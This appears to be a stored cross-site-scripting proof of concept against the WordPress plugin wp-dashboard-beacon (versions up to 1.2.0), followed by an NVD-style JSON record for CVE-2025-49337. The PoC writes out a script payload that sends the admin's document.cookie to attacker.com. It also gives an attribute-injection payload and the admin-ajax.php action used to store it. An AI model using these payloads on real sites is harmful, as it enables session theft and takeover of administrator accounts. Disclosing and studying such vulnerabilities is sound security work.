CVE-2025-49337

// CVE-2025-49337 Stored XSS PoC // Target: wp-dashboard-beacon plugin <= 1.2.0 // Attacker payload to inject (stored in database) const maliciousPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // PoC: XSS payload injection // This payload will be stored and executed when viewed by admin const xssPayload = '" onmouseover="alert(document.cookie)" x="'; // Example HTTP request to trigger the vulnerability // POST /wp-admin/admin-ajax.php // Action: wp_dashboard_beacon_save_settings // Data: beacon_content=[malicious_xss_payload] // After successful injection, the XSS will execute when admin visits dashboard console.log('CVE-2025-49337 PoC - Stored XSS in wp-dashboard-beacon'); console.log('Payload: ' + xssPayload); console.log('Target Version: <= 1.2.0');

{"cve": {"id": "CVE-2025-49337", "sourceIdentifier": "[email protected]", "published": "2025-12-31T18:15:44.173", "lastModified": "2026-04-23T15:31:29.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in janhenckens Dashboard Beacon wp-dashboard-beacon allows Stored XSS.This issue affects Dashboard Beacon: from n/a through <= 1.2.0."}, {"lang": "es", "value": "Neutralización Inadecuada de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en janhenckens Dashboard Beacon permite XSS Almacenado. Este problema afecta a Dashboard Beacon: desde n/a hasta 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-dashboard-beacon/vulnerability/wordpress-dashboard-beacon-plugin-1-2-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}